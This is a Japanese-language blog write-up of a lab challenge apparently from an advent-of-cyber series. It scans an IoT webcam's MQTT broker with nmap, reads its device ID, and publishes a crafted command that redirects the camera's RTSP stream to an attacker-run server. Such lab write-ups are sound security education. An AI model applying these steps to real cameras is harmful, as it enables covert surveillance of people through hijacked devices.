21 日目。
[Day 21] Have yourself a merry little webcam
自分の WSL2 環境では 3 問目の VLC の映像出力がうまくいかなかったので今回も AttackBox を用いた。
What port is Mosquitto running on?
Hint にある通り nmap -p- <Target IP> -vv --min-rate 1500
コマンドを実行する。SERVICE が mqtt となっているポートが見える。
Is the device/init topic enumerated by Nmap during a script scan of all ports? (y/n)
Hint にある通り nmap -sC -sV -p- <Target IP> -vv --min-rate 1500
コマンドを実行する。Topics and their most recent payloads
が出力されるのでその中に device/init に関する情報があるかを回答する。
What Mosquitto version is the device using?
Hint にある $SYS$/broker/version
は誤りで正しくは $SYS/broker/version
。
前問の出力一覧からバージョンを読み取ってもよい。mosquitto_pub
を使う場合は mosquitto_sub -h <Target IP> -t \$SYS/broker/version
コマンドを実行すると broker から定期的にバージョンが送信されてくる。$
は \
でエスケープする。
What flag is obtained from viewing the RTSP stream?
流れとしては、以下のようになる。
- Docker を起動し、AttackBox に rtsp-simple-server を立てる
- ターゲットのデバイス ID を調べ、その ID を元にメッセージを publish する
- VLC を AttackBox 自身の RTSP サーバに接続する
1. Docker を起動し、AttackBox に rtsp-simple-server を立てる
sudo docker run --rm -it -e RTSP_PROTOCOLS=tcp -p 8554:8554 -p 1935:1935 -p 8888:8888 aler9/rtsp-simple-server
コマンドを実行する。
2. ターゲットのデバイス ID を調べ、その ID を元にメッセージを publish する
mosquitto_sub -h <Target IP> -t device/init
コマンドでデバイス ID を調べ、publish に必要な topic を決定する。topic は device/<Device ID>/cmd
となる。また、メッセージについては解説の Web camera expected device behavior (click to read) を開くと出てくる説明を元に、{CMD:10,URL:rtsp://<AttackBox IP>:8554/<path>}
とする。<path>
については何でもいい。
3. VLC を AttackBox 自身の RTSP サーバに接続する
vlc rtsp://127.0.0.1:8554/<path>
コマンドを実行する。<path>
は先ほどのものとそろえる。すると VLC の画面上にフラグを含んだ映像が流れる。
If you want to learn more check out the Command Injection room or the Vulnerability Research module!
No answer needed
解説
3 問目なにやってんだこれぇ!という人へ。以下妄想の可能性あり。間違ってたら優しく教えてね!
Publish/Subscribe モデルにおいて今回登場する各端末・デバイスがどの役割を担っているのかを理解するとわかりやすい。AttackBox は publisher および subscriber を、Target(本文中の "the device"、カメラ)は broker を担当しているというイメージを持ちながら問題の流れを見ていく。
まず、AttackBox で Docker を使って rtsp-simple-server を立てる。
次に Target のデバイス ID を調べる。broker は topic に対応したメッセージを subscriber に送信するので topic として device/init
を指定する。
Target のデバイス ID がわかったので今度は publisher として topic とそれに対応したメッセージを broker に登録する。
topic の device/<ID>/cmd
とそのメッセージが登録されると broker はコードを動かし、メッセージをパースする(解説の Device source code snippet でパースしているのがわかる)。
解説の Device source code snippet を見てみるとわかるが、パースしてメッセージが期待した通りの形なら URL の値を ../src/url.txt
に書き込んでその後で ../deploy/update.sh
を実行することで(たぶん)接続先 URL を更新している。snippet には書かれていないが、デバイス(カメラ)の映像出力先はその更新された URL となるので、映像データが AttackBox の Docker に送られることになる。
rtsp-simple-server 自体には受け取った映像データを出力する機能はないので、VLC で localhost の 8554 番ポートに接続して映像を出力する。
以上が 3 問目の流れとなる。たぶんそう
感想
今回はえらく苦労した。パブサブモデルはなんとなくは知ってはいたが、実際に触ってみると知識が全然追いついてないということに気付かされた。まさか IoT デバイスが broker の役割を果たすとは…(broker はもっとサーバ的な何かを想像していた)。それと出題者の Hint のタイポだったり、(日本時間の)夜中にようやく Docker のコマンドが更新されたりと、なにかとバタバタした感じだったなぁと。